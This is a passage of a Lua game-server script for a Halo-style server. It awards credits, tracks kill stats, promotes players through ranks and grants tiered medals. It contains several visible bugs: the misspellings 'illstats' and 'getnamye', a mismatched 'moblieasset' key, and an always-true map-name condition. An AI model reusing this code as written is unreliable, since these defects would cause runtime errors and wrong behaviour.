if obj_invis_scale == 0 then
return false
else
return true
end
end
end
function CreditTimer(id, count, player)
if game_started == true then
if getplayer(player) then
SendMessage(player, "Rewarded: +15 (cR) - 1 Minute in Server")
changescore(player, 15, plus)
if killstats[gethash(player)].total.credits ~= nil then
killstats[gethash(player)].total.credits = killstats[gethash(player)].total.credits + 15
else
killstats[gethash(player)].total.credits = 15
end
end
return true
else
return false
end
end
function AssistDelay(id, count)
for i = 0, 15 do
if getplayer(i) then
if gethash(i) then
if readword(getplayer(i) + 0xA4) ~= 0 then
killstats[gethash(i)].total.assists = killstats[gethash(i)].total.assists + readword(getplayer(i) + 0xA4)
medals[gethash(i)].count.assists = medals[gethash(i)].count.assists + readword(getplayer(i) + 0xA4)
if (readword(getplayer(i) + 0xA4) * 3) ~= 0 then
killstats[gethash(i)].total.credits = killstats[gethash(i)].total.credits + (readword(getplayer(i) + 0xA4) * 3)
changescore(i, (readword(getplayer(i) + 0xA4) * 3), plus)
end
if readword(getplayer(i) + 0xA4) == 1 then
SendMessage(i, "Awarded: +" .. (readword(getplayer(i) + 0xA4) * 3) .. " (cR) - " .. readword(getplayer(i) + 0xA4) .. " Assist")
else
SendMessage(i, "Awarded: +" .. (readword(getplayer(i) + 0xA4) * 3) .. " (cR) - " .. readword(getplayer(i) + 0xA4) .. " Assists")
end
end
end
end
end
end
function CloseCall(id, count, killer)
-- Cleared
if getplayer(killer) then
if killer ~= nil then
local objectid = getplayerobjectid(killer)
if objectid ~= nil then
local m_object = getobject(objectid)
local shields = readfloat(m_object + 0xE4)
local health = readfloat(m_object + 0xE0)
if shields ~= nil then
if shields == 0 then
if health then
if health ~= 1 then
medals[gethash(killer)].count.jackofalltrades = medals[gethash(killer)].count.jackofalltrades + 1
killstats[gethash(killer)].total.credits = killstats[gethash(killer)].total.credits + 10
SendMessage(killer, "Rewarded: +10 (cR) - Close Call")
changescore(killer, 10, plus)
end
end
end
end
end
end
end
end
function CountdownToGameStart(id, count)
if count == 6 then
say("Begin!")
hprintf("Begin!")
if cur_players ~= 0 then
for i = 0, 15 do
if getplayer(i) then
if getteam(i) ~= nil then
end
end
end
-- Set counters so ChangeTeam wont end the game
cur_blue_count = 16
cur_red_count = 16
-- Reset the map
if map_name ~= "bloodgulch" or map_name ~= "sidewinder" or map_name ~= "boardingaction" then
svcmd("sv_map_reset")
else
for i = 0, 15 do
if getplayer(i) ~= nil then
end
end
end
end
-- Assume the game is running.
game_started = true
return false
-- remove timer
else
say("The game will start in: " .. 6 - count)
hprintf("The game will start in: " .. 6 - count)
return true
-- Keep Timer
end
end
-- Rounds the number
function round(num)
under = math.floor(num)
upper = math.floor(num) + 1
underV = -(under - num)
upperV = upper - num
if (upperV > underV) then
return under
else
return upper
end
end
function OpenFiles()
stats = table.load("Stats.txt")
killstats = table.load("KillStats.txt")
sprees = table.load("Sprees.txt")
medals = table.load("Medals.txt")
extra = table.load("Extra.txt")
done = table.load("CompletedMedals.txt")
end
function RetrievePlayerKDR(player)
local Player_KDR = nil
if killstats[gethash(player)].total.kills ~= 0 then
if killstats[gethash(player)].total.deaths ~= 0 then
local kdr = killstats[gethash(player)].total.kills / killstats[gethash(player)].total.deaths
Player_KDR = math.round(kdr, 2)
else
Player_KDR = "No Deaths"
end
else
Player_KDR = "No Kills"
end
return Player_KDR
end
function DeclearNewPlayerStats(hash)
if stats[hash] == nil then
stats[hash] = { }
stats[hash].kills = { }
stats[hash].kills.melee = 0
stats[hash].kills.fragnade = 0
stats[hash].kills.plasmanade = 0
stats[hash].kills.grenadestuck = 0
stats[hash].kills.sniper = 0
stats[hash].kills.shotgun = 0
stats[hash].kills.rocket = 0
stats[hash].kills.fuelrod = 0
stats[hash].kills.plasmarifle = 0
stats[hash].kills.plasmapistol = 0
stats[hash].kills.pistol = 0
stats[hash].kills.needler = 0
stats[hash].kills.flamethrower = 0
stats[hash].kills.flagmelee = 0
stats[hash].kills.oddballmelee = 0
stats[hash].kills.assaultrifle = 0
stats[hash].kills.chainhog = 0
stats[hash].kills.tankshell = 0
stats[hash].kills.tankmachinegun = 0
stats[hash].kills.ghost = 0
stats[hash].kills.turret = 0
stats[hash].kills.bansheefuelrod = 0
stats[hash].kills.banshee = 0
stats[hash].kills.splatter = 0
end
if killstats[hash] == nil then
killstats[hash] = { }
killstats[hash].total = { }
killstats[hash].total.kills = 0
killstats[hash].total.deaths = 0
killstats[hash].total.assists = 0
killstats[hash].total.suicides = 0
killstats[hash].total.betrays = 0
killstats[hash].total.credits = 0
killstats[hash].total.rank = 0
end
if sprees[hash] == nil then
sprees[hash] = { }
sprees[hash].count = { }
sprees[hash].count.double = 0
sprees[hash].count.triple = 0
sprees[hash].count.overkill = 0
sprees[hash].count.killtacular = 0
sprees[hash].count.killtrocity = 0
sprees[hash].count.killimanjaro = 0
sprees[hash].count.killtastrophe = 0
sprees[hash].count.killpocalypse = 0
sprees[hash].count.killionaire = 0
sprees[hash].count.killingspree = 0
sprees[hash].count.killingfrenzy = 0
sprees[hash].count.runningriot = 0
sprees[hash].count.rampage = 0
sprees[hash].count.untouchable = 0
sprees[hash].count.invincible = 0
sprees[hash].count.anomgstopkillingme = 0
sprees[hash].count.unfrigginbelievable = 0
sprees[hash].count.timeaslms = 0
end
if medals[hash] == nil then
medals[hash] = { }
medals[hash].count = { }
medals[hash].class = { }
medals[hash].count.sprees = 0
medals[hash].class.sprees = "Iron"
medals[hash].count.assists = 0
medals[hash].class.assists = "Iron"
medals[hash].count.closequarters = 0
medals[hash].class.closequarters = "Iron"
medals[hash].count.crackshot = 0
medals[hash].class.crackshot = "Iron"
medals[hash].count.downshift = 0
medals[hash].class.downshift = "Iron"
medals[hash].count.grenadier = 0
medals[hash].class.grenadier = "Iron"
medals[hash].count.heavyweapons = 0
medals[hash].class.heavyweapons = "Iron"
medals[hash].count.jackofalltrades = 0
medals[hash].class.jackofalltrades = "Iron"
medals[hash].count.moblieasset = 0
medals[hash].class.mobileasset = "Iron"
medals[hash].count.multikill = 0
medals[hash].class.multikill = "Iron"
medals[hash].count.sidearm = 0
medals[hash].class.sidearm = "Iron"
medals[hash].count.triggerman = 0
medals[hash].class.triggerman = "Iron"
end
if extra[hash] == nil then
extra[hash] = { }
extra[hash].woops = { }
extra[hash].woops.rockethog = 0
extra[hash].woops.falldamage = 0
extra[hash].woops.empblast = 0
extra[hash].woops.gamesplayed = 0
extra[hash].woops.time = 0
extra[hash].woops.distance = 0
end
if done[hash] == nil then
done[hash] = { }
done[hash].medal = { }
done[hash].medal.sprees = "False"
done[hash].medal.assists = "False"
done[hash].medal.closequarters = "False"
done[hash].medal.crackshot = "False"
done[hash].medal.downshift = "False"
done[hash].medal.grenadier = "False"
done[hash].medal.heavyweapons = "False"
done[hash].medal.jackofalltrades = "False"
done[hash].medal.mobileasset = "False"
done[hash].medal.multikill = "False"
done[hash].medal.sidearm = "False"
done[hash].medal.triggerman = "False"
end
end
function AnnouncePlayerRank(player)
local rank = nil
local total = nil
local hash = gethash(player)
local credits = { }
for k, _ in pairs(killstats) do
table.insert(credits, { ["hash"] = k, ["credits"] = killstats[k].total.credits })
end
table.sort(credits, function(a, b)
return a.credits > b.credits
end)
for k, v in ipairs(credits) do
if hash == credits[k].hash then
rank = k
total = #credits
string = "Server Statistics: You are currently ranked " .. rank .. " out of " .. total .. "."
end
end
return sendconsoletext(player, string)
end
function table.find(t, v, case)
if case == nil then
case = true
end
for k, val in pairs(t) do
if case then
if v == val then
return k
end
else
if string.lower(v) == string.lower(val) then
return k
end
end
end
end
function DestroyGuns(object)
for i = 0, 3 do
if getobject(object) then
local weapID = readdword(getobject(object) + 0x2F8 + i * 4)
if getobject(weapID) then
destroyobject(weapID)
end
end
end
end
function math.round(input, precision)
return math.floor(input * (10 ^ precision) + 0.5) / (10 ^ precision)
end
function LevelUp(id, count, killer)
local hash = gethash(killer)
killstats[hash].total.rank = killstats[hash].total.rank or "Recruit"
killstats[hash].total.credits = killstats[hash].total.credits or 0
if killstats[hash].total.rank ~= nil and killstats[hash].total.credits ~= 0 then
if killstats[hash].total.rank == "Recruit" and killstats[hash].total.credits > 7500 then
killstats[hash].total.rank = "Private"
say(getname(killer) .. " is now a " .. killstats[hash].total.rank .. "!")
elseif killstats[hash].total.rank == "Private" and killstats[hash].total.credits > 10000 then
killstats[hash].total.rank = "Corporal"
say(getname(killer) .. " is now a " .. killstats[hash].total.rank .. "!")
elseif killstats[hash].total.rank == "Corporal" and killstats[hash].total.credits > 15000 then
killstats[hash].total.rank = "Sergeant"
say(getname(killer) .. " is now a " .. killstats[hash].total.rank .. "!")
elseif killstats[hash].total.rank == "Sergeant" and killstats[hash].total.credits > 20000 then
killstats[hash].total.rank = "Sergeant Grade 1"
say(getname(killer) .. " is now a " .. killstats[hash].total.rank .. "!")
elseif killstats[hash].total.rank == "Sergeant Grade 1" and killstats[hash].total.credits > 26250 then
killstats[hash].total.rank = "Sergeant Grade 2"
say(getname(killer) .. " is now a " .. killstats[hash].total.rank .. "!")
elseif killstats[hash].total.rank == "Sergeant Grade 2" and killstats[hash].total.credits > 32500 then
killstats[hash].total.rank = "Warrant Officer"
say(getname(killer) .. " is now a " .. killstats[hash].total.rank .. "!")
elseif killstats[hash].total.rank == "Warrant Officer" and killstats[hash].total.credits > 45000 then
killstats[hash].total.rank = "Warrant Officer Grade 1"
say(getname(killer) .. " is now a " .. killstats[hash].total.rank .. "!")
elseif killstats[hash].total.rank == "Warrant Officer Grade 1" and killstats[hash].total.credits > 78000 then
killstats[hash].total.rank = "Warrant Officer Grade 2"
say(getname(killer) .. " is now a " .. killstats[hash].total.rank .. "!")
elseif killstats[hash].total.rank == "Warrant Officer Grade 2" and killstats[hash].total.credits > 111000 then
killstats[hash].total.rank = "Warrant Officer Grade 3"
say(getname(killer) .. " is now a " .. killstats[hash].total.rank .. "!")
elseif killstats[hash].total.rank == "Warrant Officer Grade 3" and killstats[hash].total.credits > 144000 then
killstats[hash].total.rank = "Captain"
say(getname(killer) .. " is now a " .. killstats[hash].total.rank .. "!")
elseif killstats[hash].total.rank == "Captain" and killstats[hash].total.credits > 210000 then
killstats[hash].total.rank = "Captain Grade 1"
say(getname(killer) .. " is now a " .. killstats[hash].total.rank .. "!")
elseif killstats[hash].total.rank == "Captain Grade 1" and killstats[hash].total.credits > 233000 then
killstats[hash].total.rank = "Captain Grade 2"
say(getname(killer) .. " is now a " .. killstats[hash].total.rank .. "!")
elseif killstats[hash].total.rank == "Captain Grade 2" and killstats[hash].total.credits > 256000 then
killstats[hash].total.rank = "Captain Grade 3"
say(getname(killer) .. " is now a " .. killstats[hash].total.rank .. "!")
elseif killstats[hash].total.rank == "Captain Grade 3" and killstats[hash].total.credits > 279000 then
killstats[hash].total.rank = "Major"
say(getname(killer) .. " is now a " .. killstats[hash].total.rank .. "!")
elseif killstats[hash].total.rank == "Major" and killstats[hash].total.credits > 325000 then
killstats[hash].total.rank = "Major Grade 1"
say(getname(killer) .. " is now a " .. killstats[hash].total.rank .. "!")
elseif killstats[hash].total.rank == "Major Grade 1" and killstats[hash].total.credits > 350000 then
killstats[hash].total.rank = "Major Grade 2"
say(getname(killer) .. " is now a " .. killstats[hash].total.rank .. "!")
elseif killstats[hash].total.rank == "Major Grade 2" and killstats[hash].total.credits > 375000 then
killstats[hash].total.rank = "Major Grade 3"
say(getname(killer) .. " is now a " .. killstats[hash].total.rank .. "!")
elseif killstats[hash].total.rank == "Major Grade 3" and killstats[hash].total.credits > 400000 then
killstats[hash].total.rank = "Lt. Colonel"
say(getname(killer) .. " is now a " .. killstats[hash].total.rank .. "!")
elseif killstats[hash].total.rank == "Lt. Colonel" and killstats[hash].total.credits > 450000 then
killstats[hash].total.rank = "Lt. Colonel Grade 1"
say(getname(killer) .. " is now a " .. killstats[hash].total.rank .. "!")
elseif killstats[hash].total.rank == "Lt. Colonel Grade 1" and killstats[hash].total.credits > 480000 then
killstats[hash].total.rank = "Lt. Colonel Grade 2"
say(getname(killer) .. " is now a " .. killstats[hash].total.rank .. "!")
elseif killstats[hash].total.rank == "Lt. Colonel Grade 2" and killstats[hash].total.credits > 510000 then
killstats[hash].total.rank = "Lt. Colonel Grade 3"
say(getname(killer) .. " is now a " .. killstats[hash].total.rank .. "!")
elseif killstats[hash].total.rank == "Lt. Colonel Grade 3" and killstats[hash].total.credits > 540000 then
killstats[hash].total.rank = "Commander"
say(getname(killer) .. " is now a " .. killstats[hash].total.rank .. "!")
elseif killstats[hash].total.rank == "Commander" and killstats[hash].total.credits > 600000 then
killstats[hash].total.rank = "Commander Grade 1"
say(getname(killer) .. " is now a " .. killstats[hash].total.rank .. "!")
elseif killstats[hash].total.rank == "Commander Grade 1" and killstats[hash].total.credits > 650000 then
killstats[hash].total.rank = "Commander Grade 2"
say(getname(killer) .. " is now a " .. killstats[hash].total.rank .. "!")
elseif killstats[hash].total.rank == "Commander Grade 2" and killstats[hash].total.credits > 700000 then
killstats[hash].total.rank = "Commander Grade 3"
say(getname(killer) .. " is now a " .. killstats[hash].total.rank .. "!")
elseif killstats[hash].total.rank == "Commander Grade 3" and illstats[hash].total.credits > 750000 then
killstats[hash].total.rank = "Colonel"
say(getname(killer) .. " is now a " .. killstats[hash].total.rank .. "!")
elseif killstats[hash].total.rank == "Colonel" and killstats[hash].total.credits > 850000 then
killstats[hash].total.rank = "Colonel Grade 1"
say(getname(killer) .. " is now a " .. killstats[hash].total.rank .. "!")
elseif killstats[hash].total.rank == "Colonel Grade 1" and killstats[hash].total.credits > 960000 then
killstats[hash].total.rank = "Colonel Grade 2"
say(getname(killer) .. " is now a " .. killstats[hash].total.rank .. "!")
elseif killstats[hash].total.rank == "Colonel Grade 2" and killstats[hash].total.credits > 1070000 then
killstats[hash].total.rank = "Colonel Grade 3"
say(getname(killer) .. " is now a " .. killstats[hash].total.rank .. "!")
elseif killstats[hash].total.rank == "Colonel Grade 3" and killstats[hash].total.credits > 1180000 then
killstats[hash].total.rank = "Brigadier"
say(getname(killer) .. " is now a " .. killstats[hash].total.rank .. "!")
elseif killstats[hash].total.rank == "Brigadier" and killstats[hash].total.credits > 1400000 then
killstats[hash].total.rank = "Brigadier Grade 1"
say(getname(killer) .. " is now a " .. killstats[hash].total.rank .. "!")
elseif killstats[hash].total.rank == "Brigadier Grade 1" and killstats[hash].total.credits > 1520000 then
killstats[hash].total.rank = "Brigadier Grade 2"
say(getname(killer) .. " is now a " .. killstats[hash].total.rank .. "!")
elseif killstats[hash].total.rank == "Brigadier Grade 2" and killstats[hash].total.credits > 1640000 then
killstats[hash].total.rank = "Brigadier Grade 3"
say(getname(killer) .. " is now a " .. killstats[hash].total.rank .. "!")
elseif killstats[hash].total.rank == "Brigadier Grade 3" and killstats[hash].total.credits > 1760000 then
killstats[hash].total.rank = "General"
say(getname(killer) .. " is now a " .. killstats[hash].total.rank .. "!")
elseif killstats[hash].total.rank == "General" and killstats[hash].total.credits > 2000000 then
killstats[hash].total.rank = "General Grade 1"
say(getname(killer) .. " is now a " .. killstats[hash].total.rank .. "!")
elseif killstats[hash].total.rank == "General Grade 1" and killstats[hash].total.credits > 2200000 then
killstats[hash].total.rank = "General Grade 2"
say(getname(killer) .. " is now a " .. killstats[hash].total.rank .. "!")
elseif killstats[hash].total.rank == "General Grade 2" and killstats[hash].total.credits > 2350000 then
killstats[hash].total.rank = "General Grade 3"
say(getname(killer) .. " is now a " .. killstats[hash].total.rank .. "!")
elseif killstats[hash].total.rank == "General Grade 3" and killstats[hash].total.credits > 2500000 then
killstats[hash].total.rank = "General Grade 4"
say(getname(killer) .. " is now a " .. killstats[hash].total.rank .. "!")
elseif killstats[hash].total.rank == "General Grade 4" and killstats[hash].total.credits > 2650000 then
killstats[hash].total.rank = "Field Marshall"
say(getname(killer) .. " is now a " .. killstats[hash].total.rank .. "!")
elseif killstats[hash].total.rank == "Field Marshall" and killstats[hash].total.credits > 3000000 then
killstats[hash].total.rank = "Hero"
say(getname(killer) .. " is now a " .. killstats[hash].total.rank .. "!")
elseif killstats[hash].total.rank == "Hero" and killstats[hash].total.credits > 3700000 then
killstats[hash].total.rank = "Legend"
say(getname(killer) .. " is now a " .. killstats[hash].total.rank .. "!")
elseif killstats[hash].total.rank == "Legend" and killstats[hash].total.credits > 4600000 then
killstats[hash].total.rank = "Mythic"
say(getname(killer) .. " is now a " .. killstats[hash].total.rank .. "!")
elseif killstats[hash].total.rank == "Mythic" and killstats[hash].total.credits > 5650000 then
killstats[hash].total.rank = "Noble"
say(getname(killer) .. " is now a " .. killstats[hash].total.rank .. "!")
elseif killstats[hash].total.rank == "Noble" and killstats[hash].total.credits > 7000000 then
killstats[hash].total.rank = "Eclipse"
say(getname(killer) .. " is now a " .. killstats[hash].total.rank .. "!")
elseif killstats[hash].total.rank == "Eclipse" and killstats[hash].total.credits > 8500000 then
killstats[hash].total.rank = "Nova"
say(getname(killer) .. " is now a " .. killstats[hash].total.rank .. "!")
elseif killstats[hash].total.rank == "Nova" and killstats[hash].total.credits > 11000000 then
killstats[hash].total.rank = "Forerunner"
say(getname(killer) .. " is now a " .. killstats[hash].total.rank .. "!")
elseif killstats[hash].total.rank == "Forerunner" and killstats[hash].total.credits > 13000000 then
killstats[hash].total.rank = "Reclaimer"
say(getname(killer) .. " is now a " .. killstats[hash].total.rank .. "!")
elseif killstats[hash].total.rank == "Reclaimer" and killstats[hash].total.credits > 16500000 then
killstats[hash].total.rank = "Inheritor"
say(getname(killer) .. " is now a " .. killstats[hash].total.rank .. "!")
end
end
end
function GivePlayerMedals(player)
local hash = gethash(player)
-- Get the player's hash.
if hash then
if done[hash].medal.sprees == "False" then
if medals[hash].class.sprees == "Iron" and medals[hash].count.sprees >= 5 then
-- If the class is iron and the count is more then 5,
medals[hash].class.sprees = "Bronze"
-- Level it up.
say(getname(player) .. " has earned a medal : Any Spree Iron!")
-- Tell them what they earned.
elseif medals[hash].class.sprees == "Bronze" and medals[hash].count.sprees >= 50 then
-- If the class is bronze and the count is more then 50.
medals[hash].class.sprees = "Silver"
-- Level it up.
say(getname(player) .. " has earned a medal : Any Spree Bronze!")
-- Tell them what they earned.
elseif medals[hash].class.sprees == "Silver" and medals[hash].count.sprees >= 250 then
-- If the class is silver and the clount is more then 250.
medals[hash].class.sprees = "Gold"
-- Level it up.
say(getname(player) .. " has earned a medal : Any Spree Silver!")
-- Tell them what they earned.
elseif medals[hash].class.sprees == "Gold" and medals[hash].count.sprees >= 1000 then
-- If the class is gold and the count is more then 1000.
medals[hash].class.sprees = "Onyx"
-- Level it up.
say(getname(player) .. " has earned a medal : Any Spree Gold!")
-- Tell them what they earned.
killstats[hash].total.credits = killstats[hash].total.credits + 1000
privatesay(player, "Rewarded: +1000 cR - Any Spree : Gold")
changescore(player, 1000, plus)
elseif medals[hash].class.sprees == "Onyx" and medals[hash].count.sprees >= 4000 then
-- If the class is onyx and the count is more then 4000.
medals[hash].class.sprees = "MAX"
-- Level it up.
say(getname(player) .. " has earned a medal : Any Spree Onyx!")
-- Tell them what they earned.
killstats[hash].total.credits = killstats[hash].total.credits + 2000
privatesay(player, "Rewarded: +2000 cR - Any Spree : Onyx")
changescore(player, 2000, plus)
elseif medals[hash].class.sprees == "MAX" and medals[hash].count.sprees == 10000 then
-- if the class is max and the count is 10000.
say(getname(player) .. " has earned a medal : Any Spree MAX!")
-- Tell them what they have earned.
killstats[hash].total.credits = killstats[hash].total.credits + 3000
privatesay(player, "Rewarded: +3000 cR - Any Spree : MAX")
changescore(player, 3000, plus)
done[hash].medal.sprees = "True"
end
end
if done[hash].medal.assists == "False" then
if medals[hash].class.assists == "Iron" and medals[hash].count.assists >= 50 then
-- If the class is iron and the count is more then 50.
medals[hash].class.assists = "Bronze"
-- Level it up.
say(getname(player) .. " has earned a medal : Assistant Iron!")
-- Tell them what they earned.
elseif medals[hash].class.assists == "Bronze" and medals[hash].count.assists >= 250 then
-- If the class is bronze and the count is more then 250.
medals[hash].class.assists = "Silver"
-- Level it up.
say(getname(player) .. " has earned a medal : Assistant Bronze!")
-- Tell them what they earned.
elseif medals[hash].class.assists == "Silver" and medals[hash].count.assists >= 1000 then
-- If the class is silver and the count is more then 1000.
medals[hash].class.assists = "Gold"
-- Level it up.
say(getname(player) .. " has earned a medal : Assistant Silver!")
-- Tell them what they earned.
elseif medals[hash].class.assists == "Gold" and medals[hash].count.assists >= 4000 then
-- If the class is gold and the count is more then 4000.
medals[hash].class.assists = "Onyx"
-- Level it up.
say(getname(player) .. " has earned a medal : Assistant Gold!")
-- Tell them what they earned.
killstats[hash].total.credits = killstats[hash].total.credits + 1500
privatesay(player, "Rewarded: +1500 cR - Assistant : Gold")
changescore(player, 1500, plus)
elseif medals[hash].class.assists == "Onyx" and medals[hash].count.assists >= 8000 then
-- If the class is onyx and the count is more then 8000.
medals[hash].class.assists = "MAX"
-- Level it up.
say(getname(player) .. " has earned a medal : Assistant Onyx!")
-- Tell them what they earned.
killstats[hash].total.credits = killstats[hash].total.credits + 2500
privatesay(player, "Rewarded: +2500 cR - Assistant : Onyx")
changescore(player, 2500, plus)
elseif medals[hash].class.assists == "MAX" and medals[hash].count.assists == 20000 then
-- If the class is max and the count is 20000.
say(getname(player) .. " has earned a medal : Assistant MAX!")
-- Tell them what they earned.
killstats[hash].total.credits = killstats[hash].total.credits + 3500
privatesay(player, "Rewarded: +3500 cR - Assistant : MAX")
changescore(player, 3500, plus)
done[hash].medal.assists = "True"
end
end
if done[hash].medal.closequarters == "False" then
if medals[hash].class.closequarters == "Iron" and medals[hash].count.closequarters >= 50 then
-- If the class is iron and the count is more then 50.
medals[hash].class.closequarters = "Bronze"
-- Level it up.
say(getname(player) .. " has earned a medal : Close Quarters Iron!")
-- Tell them what they earned.
elseif medals[hash].class.closequarters == "Bronze" and medals[hash].count.closequarters >= 125 then
-- If the class is bronze and the count is more then 125.
medals[hash].class.closequarters = "Silver"
-- Level it up.
say(getname(player) .. " has earned a medal : Close Quarters Bronze!")
-- Tell them what they earned.
elseif medals[hash].class.closequarters == "Silver" and medals[hash].count.closequarters >= 400 then
-- If the class is silver and the count is more then 400.
medals[hash].class.closequarters = "Gold"
-- Level it up.
say(getname(player) .. " has earned a medal : Close Quarters Silver!")
-- Tell them what they earned.
elseif medals[hash].class.closequarters == "Gold" and medals[hash].count.closequarters >= 1600 then
-- If the class is gold and the count is more then 1600.
medals[hash].class.closequarters = "Onyx"
-- Level it up.
say(getname(player) .. " has earned a medal : Close Quarters Gold!")
-- Tell them what they earned.
killstats[hash].total.credits = killstats[hash].total.credits + 750
privatesay(player, "Rewarded: +750 cR - Close Quarters : Gold")
changescore(player, 750, plus)
elseif medals[hash].class.closequarters == "Onyx" and medals[hash].count.closequarters >= 4000 then
-- If the class is onyx and the count is more then 4000.
medals[hash].class.closequarters = "MAX"
-- Level it up.
say(getname(player) .. " has earned a medal : Close Quarters Onyx!")
-- Tell them what they earned.
killstats[hash].total.credits = killstats[hash].total.credits + 1500
privatesay(player, "Rewarded: +1500 cR - Close Quarters : Onyx")
changescore(player, 1500, plus)
elseif medals[hash].class.closequarters == "MAX" and medals[hash].count.closequarters == 8000 then
-- If the class is max and the count is 8000.
say(getname(player) .. " has earned a medal : Close Quarters MAX!")
-- Tell them what they earned.
killstats[hash].total.credits = killstats[hash].total.credits + 2250
privatesay(player, "2250 cR - Close Quarters : MAX")
changescore(player, 2250, plus)
done[hash].medal.closequarters = "True"
end
end
if done[hash].medal.crackshot == "False" then
if medals[hash].class.crackshot == "Iron" and medals[hash].count.crackshot >= 100 then
-- If the class is iron and the count is more then 100 .
medals[hash].class.crackshot = "Bronze"
-- Level it up.
say(getname(player) .. " has earned a medal : Crack Shot Iron!")
-- Tell them what they earned.
elseif medals[hash].class.crackshot == "Bronze" and medals[hash].count.crackshot >= 500 then
-- If the class is bronze and the count is more then 500.
medals[hash].class.crackshot = "Silver"
-- Level it up.
say(getname(player) .. " has earned a medal : Crack Shot Bronze!")
-- Tell them what they earned.
elseif medals[hash].class.crackshot == "Silver" and medals[hash].count.crackshot >= 4000 then
-- If the class is silver and the count is more then 4000.
medals[hash].class.crackshot = "Gold"
-- Level it up.
say(getname(player) .. " has earned a medal : Crack Shot Silver!")
-- Tell them what they earned.
elseif medals[hash].class.crackshot == "Gold" and medals[hash].count.crackshot >= 10000 then
-- If the class is gold and the count is more then 10000.
medals[hash].class.crackshot = "Onyx"
-- Level it up.
say(getname(player) .. " has earned a medal : Crack Shot Gold!")
-- Tell them what they earned.
killstats[hash].total.credits = killstats[hash].total.credits + 1000
privatesay(player, "Rewarded: +1000 cR - Crack Shot : Gold")
changescore(player, 1000, plus)
elseif medals[hash].class.crackshot == "Onyx" and medals[hash].count.crackshot >= 20000 then
-- If the class is onyx and the count is more then 20000.
medals[hash].class.crackshot = "MAX"
-- Level it up.
say(getname(player) .. " has earned a medal : Crack Shot Onyx!")
-- Tell them what they earned.
killstats[hash].total.credits = killstats[hash].total.credits + 2000
privatesay(player, "Rewarded: +2000 cR - Crack Shot : Onyx")
changescore(player, 2000, plus)
elseif medals[hash].class.crackshot == "MAX" and medals[hash].count.crackshot == 32000 then
-- If the class is max and the count is 32000.
say(getname(player) .. " has earned a medal : Crack Shot MAX!")
-- Tell them what they earned.
killstats[hash].total.credits = killstats[hash].total.credits + 3000
privatesay(player, "Rewarded: +3000 cR - Crack Shot : MAX")
changescore(player, 3000, plus)
done[hash].medal.crackshot = "True"
end
end
if done[hash].medal.downshift == "False" then
if medals[hash].class.downshift == "Iron" and medals[hash].count.downshift >= 5 then
-- If the class is iron and count is more then 5.
medals[hash].class.downshift = "Bronze"
-- Level it up.
say(getnamye(player) .. " has earned a medal : Downshift Iron!")
-- Tell them what they earned.
elseif medals[hash].class.downshift == "Bronze" and medals[hash].count.downshift >= 50 then
-- If the class is bronze and count is more then 50.
medals[hash].class.downshift = "Silver"
-- Level it up
say(getname(player) .. " has earned a medal : Downshift Bronze!")
-- Tell them what the earned.
elseif medals[hash].class.downshift == "Silver" and medals[hash].count.downshift >= 750 then
-- If the class is silver and count is more then 750.
medals[hash].class.downshift = "Gold"
-- Level it up.
say(getname(player) .. " has earned a medal : Downshift Silver!")
-- Tell them what they earned.
elseif medals[hash].class.downshift == "Gold" and medals[hash].count.downshift >= 4000 then
-- If the class is gold and count is more then 4000.
medals[hash].class.downshift = "Onyx"
-- Level it up.
say(getname(player) .. " has earned a medal : Downshift Gold!")
-- Tell them what they earned.
killstats[hash].total.credits = killstats[hash].total.credits + 500
privatesay(player, "Rewarded: +500 cR - Downshift : Gold")
changescore(player, 500, plus)
elseif medals[hash].class.downshift == "Onyx" and medals[hash].count.downshift >= 8000 then
-- If the class is onyx and count is more then 8000.
medals[hash].class.downshift = "MAX"
-- Level it up.
say(getname(player) .. " has earned a medal : Downshift Onyx!")
-- Tell them what they earned.
killstats[hash].total.credits = killstats[hash].total.credits + 1000
privatesay(player, "Rewarded: +1000 cR - Downshift : Onyx")
changescore(player, 1000, plus)
elseif medals[hash].class.downshift == "MAX" and medals[hash].count.downshift == 20000 then
-- If the class is max and count is 20000.
say(getname(player) .. " has earned a medal : Downshift MAX!")
-- Tell them what they earned.
killstats[hash].total.credits = killstats[hash].total.credits + 1500
privatesay(player, "Rewarded: +1500 cR - Downshift : MAX")
changescore(player, 1500, plus)
done[hash].medal.downshift = "True"
end
end
if done[hash].medal.grenadier == "False" then
if medals[hash].class.grenadier == "Iron" and medals[hash].count.grenadier >= 25 then
-- If the class is iron and count is more then 25.
medals[hash].class.grenadier = "Bronze"
-- Level it up.
say(getname(player) .. " has earned a medal : Grenadier Iron!")
-- Tell them what they earned.
elseif medals[hash].class.grenadier == "Bronze" and medals[hash].count.grenadier >= 125 then
-- If the class is bronze and count is more then 125.
medals[hash].class.grenadier = "Silver"
-- Level it up.
say(getname(player) .. " has earned a medal : Grenadier Bronze!")
-- Tell them what they earned.
elseif medals[hash].class.grenadier == "Silver" and medals[hash].count.grenadier >= 500 then
-- If the class is silver and count is more then 500.
medals[hash].class.grenadier = "Gold"
-- Level it up.
say(getname(player) .. " has earned a medal : Grenadier Silver!")
-- Tell them what they earned.
elseif medals[hash].class.grenadier == "Gold" and medals[hash].count.grenadier >= 4000 then
-- If the class is gold and count is more then 4000.
medals[hash].class.grenadier = "Onyx"
-- Level it up.
say(getname(player) .. " has earned a medal : Grenadier Gold!")
-- Tell them what they earned.
killstats[hash].total.credits = killstats[hash].total.credits + 750
privatesay(player, "Rewarded: +750 cR - Grenadier : Gold")
changescore(player, 750, plus)
elseif medals[hash].class.grenadier == "Onyx" and medals[hash].count.grenadier >= 8000 then
-- If the class is onyx and count is more then 8000.
medals[hash].class.grenadier = "MAX"
-- Level it up
say(getname(player) .. " has earned a medal : Grenadier Onyx!")
-- Tell them what they earned.
killstats[hash].total.credits = killstats[hash].total.credits + 1500
privatesay(player, "Rewarded: +1500 cR - Grenadier : Onyx")
changescore(player, 1500, plus)
elseif medals[hash].class.grenadier == "MAX" and medals[hash].count.grenadier == 14000 then
-- If the class is max and count is 14000.
say(getname(player) .. " has earned a medal : Grenadier MAX!")
-- Tell them what they earned.
killstats[hash].total.credits = killstats[hash].total.credits + 2250
privatesay(player, "Rewarded: +2250 cR - Grenadier : MAX")
changescore(player, 2250, plus)
done[hash].medal.grenadier = "True"
end
end
if done[hash].medal.heavyweapons == "False" then
if medals[hash].class.heavyweapons == "Iron" and medals[hash].count.heavyweapons >= 25 then
medals[hash].class.heavyweapons = "Bronze"
say(getname(player) .. " has earned a medal : Heavy Weapon Iron!")
elseif medals[hash].class.heavyweapons == "Bronze" and medals[hash].count.heavyweapons >= 150 then
medals[hash].class.heavyweapons = "Silver"
say(getname(player) .. " has earned a medal : Heavy Weapon Bronze!")
